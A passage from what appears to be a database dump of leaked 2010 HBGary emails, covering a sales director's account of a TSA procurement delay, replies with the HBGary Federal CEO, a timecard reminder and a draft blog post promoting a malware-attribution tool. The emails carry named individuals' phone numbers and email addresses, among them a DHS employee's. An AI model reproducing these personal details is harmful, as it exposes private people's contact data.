forward?\r\n \r\nMaria\r\n---------- Forwarded message ----------From: Maria Lucas &lt;maria@hbgary.com&gt;Date: Mon, Jul 26, 2010 at 10:25 AM\r\nSubject: TSATo: &quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;Cc: &quot;Beauchamp, Dale&quot; &lt;Dale.Beauchamp@dhs.gov&gt;, Rich Cummings &lt;rich@hbgary.com&gt;, Joe Pizzo &lt;joe@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nPenny\r\n \r\nDale and I just spoke and he gave us a lot of answers about the procurement process.  Dale said to summarize this for you and that you may call him anytime.\r\n \r\nWhy Procurement has Moved so &quot;spring 2011&quot;\r\n \r\nThe Acquisitions folks have &quot;prioritized&quot; what they will purchase.  They have products tied to approved funding that expires 2010 and they have products that are tied to approved funding that expires 2011.  HBGary falls into the latter category.\r\n\r\n \r\nWho made this decision\r\n \r\nUltimately the Acquisition folks made this decision but it came down to Dale from higher up than the CISO.  Dale reports to Greg Maier who reports to CISO Rick Smith.  Dale said this decision is higher than Rick Smith.  He doesn&#39;t know that they have any power to move Acquisitions.  He does not know exactly how this decision is made at levels higher than Rick Smith.\r\n\r\n \r\nWhat is in the 2 year Procurement Budget\r\nDale will be combining 2 budgets into one.  This one budget will include Cyber Security, Full Packet Capture and eDiscovery.  The paperwork for this will be submitted on or before October 1, 2010.  This is a &quot;competitive&quot; bid process therefore it is not guaranteed that anyone vendor will be selected.  HBGary completed the RFI and submitted a quote so we are in the &quot;competitive bid process&quot; Dale says no other vendor automates memory analysis the way Active Defense does so for that functionality Active Defense is unique and highly desireable. Dale said it will be a combination of products selected -- that no one vendor fits the bill.   \r\n\r\n \r\nWhat can HBGary Do to move thisDale does not believe there is anything that HBGary can do to influence the procurement process.  Dale said that we may speak to his boss but we will be told the exact same thing. \r\n\r\nSole source option\r\nDale says that the only option to the competitive bid is sole source and that Acquisitions would not approve this because there are other solutions/ approaches that may be considered close enough.  He doesn&#39;t believe he can &quot;justify&quot; a sole source option -- that we are not unique enough in the big picture of what needs to be accomplished. And, that sole source would require about 50 signatures.\r\n\r\n \r\nCBP and MIR re: IR tool\r\nDale said that TSA is not involved with CBP and replacing Encase for IR.  Encase Enterprise maintenance will be current...  He does not see this initiative affecting what TSA does.  TSA is planning 4-5 years ahead and has a long term vision which may be different than what other departments are doing.\r\n\r\n \r\nContinuing Resolution\r\nThere is talk about continuing resolution becoming on-going but Dale says this will not affect DHS security budgets.  It is designed for departments like the Treasury etc.  Dale believes that DHS is exempt from this.\r\n\r\n \r\nProcurement Process\r\nOctober 1 the budget for the eDiscovery, Cybersecurity, Full Packet Inspection will be re-allocated.  Dale&#39;s paperwork will be submitted at the same time and based on past experience Dale expects these product to be purchased early spring-- as early as April 2011.\r\n\r\n \r\nWhat can we do to Reduce/Remove Risk during this process\r\nDale says we are doing the right things.  We have a POC scheduled for the lab and the paperwork will be done to move this to production machines (max. time is 3 months).  The Responderthat they use today are demonstrating value and that the POC will show greater value.  If we had Credant decryption that would reduce risk more however because we would have greater value.  However, there is talk to replace Credant so it would be risky for us to provide this feature because in the long run the requirement may change.  If host products were 1 agent and 1 console that would also be a benefit.\r\n\r\n \r\n \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',14767,'aaron_hbgary_com/14767.html'),(9175,'2010-07-26','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007064.M406593P14101Q4030.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: TSA','Yes. &nbsp;I talked to Penny about this earlier. &nbsp;This is likely a battle not worth fighting. &nbsp;You have to many things working against you at this point. &nbsp;I think you will see more if this within the larger government organizations as they look to diminish sole source and develop integrated cyber solutions across the government.AaronSent from my iPadOn Jul 26, 2010, at 2:18 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:Hi Aaron\r\n&nbsp;\r\nIs the information below consistent with what you found?&nbsp; Penny said that this is going to rebid which is consistent because Dale said he has to resubmit and combine two requirements and sources for funding.&nbsp;\r\n&nbsp;\r\nI am exploring the SBIR Phase III angle to see if there can be a sole source option.&nbsp; Bob will explain this to me and I\'ll approach Dale.\r\n&nbsp;\r\nDo you have advice on other options to move this forward?\r\n&nbsp;\r\nMaria\r\n---------- Forwarded message ----------From: Maria Lucas &lt;maria@hbgary.com&gt;Date: Mon, Jul 26, 2010 at 10:25 AM\r\nSubject: TSATo: \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;Cc: \"Beauchamp, Dale\" &lt;Dale.Beauchamp@dhs.gov&gt;, Rich Cummings &lt;rich@hbgary.com&gt;, Joe Pizzo &lt;joe@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nPenny\r\n&nbsp;\r\nDale and I just spoke and he gave us a lot of answers about the procurement process.&nbsp; Dale said to summarize this for you and that you may call him anytime.\r\n&nbsp;\r\nWhy Procurement has Moved so \"spring 2011\"\r\n&nbsp;\r\nThe Acquisitions folks have \"prioritized\" what they will purchase.&nbsp; They have products tied to approved funding that expires 2010 and they have products that are tied to approved funding that expires 2011.&nbsp; HBGary falls into the latter category.\r\n\r\n&nbsp;\r\nWho made this decision\r\n&nbsp;\r\nUltimately the Acquisition folks made this decision but it came down to Dale from higher up than the CISO.&nbsp; Dale reports to Greg Maier who reports to CISO Rick Smith.&nbsp; Dale said this decision is higher than Rick Smith.&nbsp; He doesn\'t know that they have any power to move Acquisitions.&nbsp; He does not know exactly how this decision is made at levels higher than Rick Smith.\r\n\r\n&nbsp;\r\nWhat is in the 2 year Procurement Budget\r\nDale will be combining 2 budgets into one.&nbsp; This one budget will include Cyber Security, Full Packet Capture and eDiscovery.&nbsp; The paperwork for this will be submitted on or before October 1, 2010.&nbsp; This is a \"competitive\" bid process therefore it is not guaranteed that anyone vendor will be selected.&nbsp; HBGary completed the RFI and submitted a quote so we are in the \"competitive bid process\" Dale says no other vendor automates memory analysis the way Active Defense does so for that functionality Active Defense is unique and highly desireable.&nbsp;Dale said it will be a combination of products selected -- that no one vendor fits the bill.&nbsp;&nbsp; \r\n\r\n&nbsp;\r\nWhat can HBGary Do to move thisDale does not believe there is anything that HBGary can do to influence the procurement process.&nbsp; Dale said that we may speak to his boss but we will be told the exact same thing.&nbsp;\r\n\r\nSole source option\r\nDale says that the only option to the competitive bid is sole source and that Acquisitions would not approve this because there are other solutions/ approaches that may be considered close enough.&nbsp; He doesn\'t believe he can \"justify\" a sole source option -- that we are not unique enough in the big picture of what needs to be accomplished. And, that sole source would require about 50 signatures.\r\n\r\n&nbsp;\r\nCBP and MIR re: IR tool\r\nDale said that TSA is not involved with CBP and replacing Encase for IR.&nbsp; Encase Enterprise maintenance will be current...&nbsp; He does not see this initiative affecting what TSA does.&nbsp; TSA is planning 4-5 years ahead and has a long term vision which may be different than what other departments are doing.\r\n\r\n&nbsp;\r\nContinuing Resolution\r\nThere is talk about continuing resolution becoming on-going but Dale says this will not affect DHS security budgets.&nbsp; It is designed for departments like the Treasury etc.&nbsp; Dale believes that DHS is exempt from this.\r\n\r\n&nbsp;\r\nProcurement Process\r\nOctober 1 the budget for the eDiscovery, Cybersecurity, Full Packet Inspection will be re-allocated.&nbsp; Dale\'s paperwork will be submitted at the same time and based on past experience Dale expects these product to be purchased early spring-- as early as April 2011.\r\n\r\n&nbsp;\r\nWhat can we do to Reduce/Remove Risk during this process\r\nDale says we are doing the right things.&nbsp; We have a POC scheduled for the lab and the paperwork will be done to move this to production machines (max. time is 3 months).&nbsp; The Responderthat they use today are demonstrating value and that the POC will show greater value.&nbsp; If we had Credant decryption that would reduce risk more however because we would have greater value.&nbsp; However, there is talk to replace Credant so it would be risky for us to provide this feature because in the long run the requirement may change.&nbsp; If host products were 1 agent and 1 console that would also be a benefit.\r\n\r\n&nbsp;\r\n&nbsp;\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',12406,'aaron_hbgary_com/12406.html'),(9176,'2010-07-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007064.M645082P14101Q4031.eml','all@hbgary.com','Timecards','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease update your timecards today.&nbsp; Barbara is doing\r\npayroll\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8081,'aaron_hbgary_com/8081.html'),(9177,'2010-07-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007064.M912247P14101Q4032.eml','\"Aaron barr\" <aaron@hbgary.com>','Re: TSA','Aaron I think we need to get our agent into production in the government and show results.  They all talk.  Once that happens then it should be easier to push things along.  My approach at TSA is to get us into production.  We are going there tomorrow with a server for the lab...\r\n\r\nOn Mon, Jul 26, 2010 at 12:36 PM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nYes.  I talked to Penny about this earlier.  This is likely a battle not worth fighting.  You have to many things working against you at this point.  I think you will see more if this within the larger government organizations as they look to diminish sole source and develop integrated cyber solutions across the government.\r\n\r\n\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn Jul 26, 2010, at 2:18 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nHi Aaron\r\n \r\nIs the information below consistent with what you found?  Penny said that this is going to rebid which is consistent because Dale said he has to resubmit and combine two requirements and sources for funding. \r\n \r\nI am exploring the SBIR Phase III angle to see if there can be a sole source option.  Bob will explain this to me and I&#39;ll approach Dale.\r\n \r\nDo you have advice on other options to move this forward?\r\n \r\nMaria\r\n---------- Forwarded message ----------From: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: Mon, Jul 26, 2010 at 10:25 AMSubject: TSATo: &quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nCc: &quot;Beauchamp, Dale&quot; &lt;Dale.Beauchamp@dhs.gov&gt;, Rich Cummings &lt;rich@hbgary.com&gt;, Joe Pizzo &lt;joe@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nPenny\r\n \r\nDale and I just spoke and he gave us a lot of answers about the procurement process.  Dale said to summarize this for you and that you may call him anytime.\r\n \r\nWhy Procurement has Moved so &quot;spring 2011&quot;\r\n \r\nThe Acquisitions folks have &quot;prioritized&quot; what they will purchase.  They have products tied to approved funding that expires 2010 and they have products that are tied to approved funding that expires 2011.  HBGary falls into the latter category.\r\n\r\n \r\nWho made this decision\r\n \r\nUltimately the Acquisition folks made this decision but it came down to Dale from higher up than the CISO.  Dale reports to Greg Maier who reports to CISO Rick Smith.  Dale said this decision is higher than Rick Smith.  He doesn&#39;t know that they have any power to move Acquisitions.  He does not know exactly how this decision is made at levels higher than Rick Smith.\r\n\r\n \r\nWhat is in the 2 year Procurement Budget\r\nDale will be combining 2 budgets into one.  This one budget will include Cyber Security, Full Packet Capture and eDiscovery.  The paperwork for this will be submitted on or before October 1, 2010.  This is a &quot;competitive&quot; bid process therefore it is not guaranteed that anyone vendor will be selected.  HBGary completed the RFI and submitted a quote so we are in the &quot;competitive bid process&quot; Dale says no other vendor automates memory analysis the way Active Defense does so for that functionality Active Defense is unique and highly desireable. Dale said it will be a combination of products selected -- that no one vendor fits the bill.   \r\n\r\n \r\nWhat can HBGary Do to move thisDale does not believe there is anything that HBGary can do to influence the procurement process.  Dale said that we may speak to his boss but we will be told the exact same thing. \r\n\r\nSole source option\r\nDale says that the only option to the competitive bid is sole source and that Acquisitions would not approve this because there are other solutions/ approaches that may be considered close enough.  He doesn&#39;t believe he can &quot;justify&quot; a sole source option -- that we are not unique enough in the big picture of what needs to be accomplished. And, that sole source would require about 50 signatures.\r\n\r\n \r\nCBP and MIR re: IR tool\r\nDale said that TSA is not involved with CBP and replacing Encase for IR.  Encase Enterprise maintenance will be current...  He does not see this initiative affecting what TSA does.  TSA is planning 4-5 years ahead and has a long term vision which may be different than what other departments are doing.\r\n\r\n \r\nContinuing Resolution\r\nThere is talk about continuing resolution becoming on-going but Dale says this will not affect DHS security budgets.  It is designed for departments like the Treasury etc.  Dale believes that DHS is exempt from this.\r\n\r\n \r\nProcurement Process\r\nOctober 1 the budget for the eDiscovery, Cybersecurity, Full Packet Inspection will be re-allocated.  Dale&#39;s paperwork will be submitted at the same time and based on past experience Dale expects these product to be purchased early spring-- as early as April 2011.\r\n\r\n \r\nWhat can we do to Reduce/Remove Risk during this process\r\nDale says we are doing the right things.  We have a POC scheduled for the lab and the paperwork will be done to move this to production machines (max. time is 3 months).  The Responderthat they use today are demonstrating value and that the POC will show greater value.  If we had Credant decryption that would reduce risk more however because we would have greater value.  However, there is talk to replace Credant so it would be risky for us to provide this feature because in the long run the requirement may change.  If host products were 1 agent and 1 console that would also be a benefit.\r\n\r\n \r\n \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',14475,'aaron_hbgary_com/14475.html'),(9178,'2010-07-26','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007065.M168123P14101Q4033.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: TSA','That\'s the right approach. &nbsp;Agreed getting results is key. &nbsp;Get them a unit they can test with. &nbsp;Once they become an operational advocate that will help things along and help your chances for any bake off. &nbsp;I think the tmc and the fingerprint tool could help this along also and doesn\'t have the same implementation requirements.AaronSent from my iPadOn Jul 26, 2010, at 3:20 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:Aaron I think we need to get our agent into production in the government and show results.&nbsp; They all talk.&nbsp; Once that happens then it should be easier to push things along.&nbsp; My approach at TSA is to get us into production.&nbsp; We are going there tomorrow with a server for the lab...\r\n\r\nOn Mon, Jul 26, 2010 at 12:36 PM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nYes. &nbsp;I talked to Penny about this earlier. &nbsp;This is likely a battle not worth fighting. &nbsp;You have to many things working against you at this point. &nbsp;I think you will see more if this within the larger government organizations as they look to diminish sole source and develop integrated cyber solutions across the government.\r\n\r\n\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn Jul 26, 2010, at 2:18 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nHi Aaron\r\n&nbsp;\r\nIs the information below consistent with what you found?&nbsp; Penny said that this is going to rebid which is consistent because Dale said he has to resubmit and combine two requirements and sources for funding.&nbsp;\r\n&nbsp;\r\nI am exploring the SBIR Phase III angle to see if there can be a sole source option.&nbsp; Bob will explain this to me and I\'ll approach Dale.\r\n&nbsp;\r\nDo you have advice on other options to move this forward?\r\n&nbsp;\r\nMaria\r\n---------- Forwarded message ----------From: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: Mon, Jul 26, 2010 at 10:25 AMSubject: TSATo: \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;\r\nCc: \"Beauchamp, Dale\" &lt;Dale.Beauchamp@dhs.gov&gt;, Rich Cummings &lt;rich@hbgary.com&gt;, Joe Pizzo &lt;joe@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nPenny\r\n&nbsp;\r\nDale and I just spoke and he gave us a lot of answers about the procurement process.&nbsp; Dale said to summarize this for you and that you may call him anytime.\r\n&nbsp;\r\nWhy Procurement has Moved so \"spring 2011\"\r\n&nbsp;\r\nThe Acquisitions folks have \"prioritized\" what they will purchase.&nbsp; They have products tied to approved funding that expires 2010 and they have products that are tied to approved funding that expires 2011.&nbsp; HBGary falls into the latter category.\r\n\r\n&nbsp;\r\nWho made this decision\r\n&nbsp;\r\nUltimately the Acquisition folks made this decision but it came down to Dale from higher up than the CISO.&nbsp; Dale reports to Greg Maier who reports to CISO Rick Smith.&nbsp; Dale said this decision is higher than Rick Smith.&nbsp; He doesn\'t know that they have any power to move Acquisitions.&nbsp; He does not know exactly how this decision is made at levels higher than Rick Smith.\r\n\r\n&nbsp;\r\nWhat is in the 2 year Procurement Budget\r\nDale will be combining 2 budgets into one.&nbsp; This one budget will include Cyber Security, Full Packet Capture and eDiscovery.&nbsp; The paperwork for this will be submitted on or before October 1, 2010.&nbsp; This is a \"competitive\" bid process therefore it is not guaranteed that anyone vendor will be selected.&nbsp; HBGary completed the RFI and submitted a quote so we are in the \"competitive bid process\" Dale says no other vendor automates memory analysis the way Active Defense does so for that functionality Active Defense is unique and highly desireable.&nbsp;Dale said it will be a combination of products selected -- that no one vendor fits the bill.&nbsp;&nbsp; \r\n\r\n&nbsp;\r\nWhat can HBGary Do to move thisDale does not believe there is anything that HBGary can do to influence the procurement process.&nbsp; Dale said that we may speak to his boss but we will be told the exact same thing.&nbsp;\r\n\r\nSole source option\r\nDale says that the only option to the competitive bid is sole source and that Acquisitions would not approve this because there are other solutions/ approaches that may be considered close enough.&nbsp; He doesn\'t believe he can \"justify\" a sole source option -- that we are not unique enough in the big picture of what needs to be accomplished. And, that sole source would require about 50 signatures.\r\n\r\n&nbsp;\r\nCBP and MIR re: IR tool\r\nDale said that TSA is not involved with CBP and replacing Encase for IR.&nbsp; Encase Enterprise maintenance will be current...&nbsp; He does not see this initiative affecting what TSA does.&nbsp; TSA is planning 4-5 years ahead and has a long term vision which may be different than what other departments are doing.\r\n\r\n&nbsp;\r\nContinuing Resolution\r\nThere is talk about continuing resolution becoming on-going but Dale says this will not affect DHS security budgets.&nbsp; It is designed for departments like the Treasury etc.&nbsp; Dale believes that DHS is exempt from this.\r\n\r\n&nbsp;\r\nProcurement Process\r\nOctober 1 the budget for the eDiscovery, Cybersecurity, Full Packet Inspection will be re-allocated.&nbsp; Dale\'s paperwork will be submitted at the same time and based on past experience Dale expects these product to be purchased early spring-- as early as April 2011.\r\n\r\n&nbsp;\r\nWhat can we do to Reduce/Remove Risk during this process\r\nDale says we are doing the right things.&nbsp; We have a POC scheduled for the lab and the paperwork will be done to move this to production machines (max. time is 3 months).&nbsp; The Responderthat they use today are demonstrating value and that the POC will show greater value.&nbsp; If we had Credant decryption that would reduce risk more however because we would have greater value.&nbsp; However, there is talk to replace Credant so it would be risky for us to provide this feature because in the long run the requirement may change.&nbsp; If host products were 1 agent and 1 console that would also be a benefit.\r\n\r\n&nbsp;\r\n&nbsp;\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com &nbsp;&nbsp;\r\n',4924,'aaron_hbgary_com/4924.html'),(9179,'2010-07-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007065.M425968P14101Q4034.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Blog Post','It&#39;s a tall order, but you sell it well.\r\n \r\n-Greg\r\nOn Mon, Jul 26, 2010 at 10:21 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nHere is my final draft.  Let me know what you think.\r\nAaron\r\n-----------------\r\nAs a nation we are hemorrhaging; our government, military, corporate, and financial institutions are being robbed of their intellectual property and critical resources continuously.  Individual banks measure their loses in the millions per month.  Commercial corporations watch their intellectual property stream overseas.  Our government, military, and critical infrastructures, the backbone of what keeps the United States functioning and safe are breeched regularly, sensitive information accessed, and we are challenged to stop the majority of these attacks.  Why?  The full scope of the challenge is complex but most will agree one of the key issues at the heart of the challenge is our inability to attribute the attacks, attribute the source and intent of the threats.  Without attribution, without an ability to understand capability and intent, we struggle to develop adequate defenses to match the threats as they evolve.  Without attribution we cannot execute effective Courses of Action (COAs) against cyber threats or establish effective foreign policies governing responses to such threats, because in the end we can not say for certain who launched them.\r\n\r\nThis is not new information.  The government and intelligence community have been aggressively looking for attribution solutions since the CNCI was signed by President Bush in early 2008.  It was a top priority then and remains one of the top cyber priorities today.  Unfortunately we are not much closer today in developing capabilities and methodologies that advance attribution solutions.  The challenges are clearly understood.  The amount of cyber-based data to analyze is enormous and where do you start.  Sources of attack can be spoofed, false flag operations executed.  In the end unless there are some other indicators or sources of intelligence that can be tied to a specific cyber based attack, the likelihood of being able to attribute an attack is unlikely.\r\n\r\nUntil today.\r\nHBGary’s FingerPrint tool, released today, represents a breakthrough in the development of a viable attribution solution, enabling the clustering of previously unrelated malware specimens, which in turn enables the individual pieces of intelligence associated with each specimen to be clustered and analyzed collectively.  The sources of the FingerPrint tools success lies within the vehicles of attack themselves - malware.  Like styles used by authors or artists, Malware creators have specific styles, they use specific tools, and they develop in specific environments in specific ways.  All of these markers are identifiable, even finger-printable to an author or set of authors.  Previously unassociated malware shows tight clustering based on these threat markers.  The FingerPrint tool extracts these variables from the malware and puts them into a standard, readable format allowing for rapid association and correlation of malware that was created in the same development environment by the same authors.  The results are significant, providing a starting point for associating malware events to authors and providing a better understanding of the evolution of threat capabilities and intent.  HBGary’s Fingerprint tool enables to possibility of true, repeatable cyber attribution.\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',6291,'aaron_hbgary_com/6291.html'),(9180,'2010-07-26','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007065.M715867P14101Q4035.eml','\"Aaron barr\" <aaron@hbgary.com>','Re: TSA','I am frustrated that Byron Copeland hasn&#39;t responded I am going to go lower and see what the hold up is\r\nOn Mon, Jul 26, 2010 at 1:32 PM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThat&#39;s the right approach.  Agreed getting results is key.  Get them a unit they can test with.  Once they become an operational advocate that will help things along and help your chances for any bake off.  I think the tmc and the fingerprint tool could help this along also and doesn&#39;t have the same implementation requirements.\r\n\r\n\r\n\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn Jul 26, 2010, at 3:20 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nAaron I think we need to get our agent into production in the government and show results.  They all talk.  Once that happens then it should be easier to push things along.  My approach at TSA is to get us into production.  We are going there tomorrow with a server for the lab...\r\n\r\nOn Mon, Jul 26, 2010 at 12:36 PM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nYes.  I talked to Penny about this earlier.  This is likely a battle not worth fighting.  You have to many things working against you at this point.  I think you will see more if this within the larger government organizations as they look to diminish sole source and develop integrated cyber solutions across the government.\r\n\r\n\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn Jul 26, 2010, at 2:18 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nHi Aaron\r\n \r\nIs the information below consistent with what you found?  Penny said that this is going to rebid which is consistent because Dale said he has to resubmit and combine two requirements and sources for funding. \r\n \r\nI am exploring the SBIR Phase III angle to see if there can be a sole source option.  Bob will explain this to me and I&#39;ll approach Dale.\r\n \r\nDo you have advice on other options to move this forward?\r\n \r\nMaria\r\n---------- Forwarded message ----------From: Maria Lucas &lt;maria@hbgary.com&gt;\r\nDate: Mon, Jul 26, 2010 at 10:25 AMSubject: TSATo: &quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nCc: &quot;Beauchamp, Dale&quot; &lt;Dale.Beauchamp@dhs.gov&gt;, Rich Cummings &lt;rich@hbgary.com&gt;, Joe Pizzo &lt;joe@hbgary.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nPenny\r\n \r\nDale and I just spoke and he gave us a lot of answers about the procurement process.  Dale said to summarize this for you and that you may call him anytime.\r\n \r\nWhy Procurement has Moved so &quot;spring 2011&quot;\r\n \r\nThe Acquisitions folks have &quot;prioritized&quot; what they will purchase.  They have products tied to approved funding that expires 2010 and they have products that are tied to approved funding that expires 2011.  HBGary falls into the latter category.\r\n\r\n \r\nWho made this decision\r\n \r\nUltimately the Acquisition folks made this decision but it came down to Dale from higher up than the CISO.  Dale reports to Greg Maier who reports to CISO Rick Smith.  Dale said this decision is higher than Rick Smith.  He doesn&#39;t know that they have any power to move Acquisitions.  He does not know exactly how this decision is made at levels higher than Rick Smith.\r\n\r\n \r\nWhat is in the 2 year Procurement Budget\r\nDale will be combining 2 budgets into one.  This one budget will include Cyber Security, Full Packet Capture and eDiscovery.  The paperwork for this will be submitted on or before October 1, 2010.  This is a &quot;competitive&quot; bid process therefore it is not guaranteed that anyone vendor will be selected.  HBGary completed the RFI and submitted a quote so we are in the &quot;competitive bid process&quot; Dale says no other vendor automates memory analysis the way Active Defense does so for that functionality Active Defense is unique and highly desireable. Dale said it will be a combination of products selected -- that no one vendor fits the bill.   \r\n\r\n \r\nWhat can HBGary Do to move thisDale does not believe there is anything that HBGary can do to influence the procurement process.  Dale said that we may speak to his boss but we will be told the exact same thing. \r\n\r\nSole source option\r\nDale says that the only option to the competitive bid is sole source and that Acquisitions would not approve this because there are other solutions/ approaches that may be considered close enough.  He doesn&#39;t believe he can &quot;justify&quot; a sole source option -- that we are not unique enough in the big picture of what needs to be accomplished. And, that sole source would require about 50 signatures.\r\n\r\n \r\nCBP and MIR re: IR tool\r\nDale said that TSA is not involved with CBP and replacing Encase for IR.  Encase Enterprise maintenance will be current...  He does not see this initiative affecting what TSA does.  TSA is planning 4-5 years ahead and has a long term vision which may be different than what other departments are doing.\r\n\r\n \r\nContinuing Resolution\r\nThere is talk about continuing resolution becoming on-going but Dale says this will not affect DHS security budgets.  It is designed for departments like the Treasury etc.  Dale believes that DHS is exempt from this.\r\n\r\n \r\nProcurement Process\r\nOctober 1 the budget for the eDiscovery, Cybersecurity, Full Packet Inspection will be re-allocated.  Dale&#39;s paperwork will be submitted at the same time and based on past experience Dale expects these product to be purchased early spring-- as early as April 2011.\r\n\r\n \r\nWhat can we do to Reduce/Remove Risk during this process\r\nDale says we are doing the right things.  We have a POC scheduled for the lab and the paperwork will be done to move this to production machines (max. time is 3 months).  The Responderthat they use today are demonstrating value and that the POC will show greater value.  If we had Credant decryption that would reduce risk more however because we would have greater value.  However, there is talk to replace Credant so it would be risky for us to provide this feature because in the long run the requirement may change.  If host products were 1 agent and 1 console that would also be a benefit.\r\n\r\n \r\n \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',6737,'aaron_hbgary_com/6737.html'),(9181,'2010-07-26','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007066.M10878P14101Q4036.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: Invite: 13 Aug 2010 -  Join Us for a Public - Private Security Automation Collaboration Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* 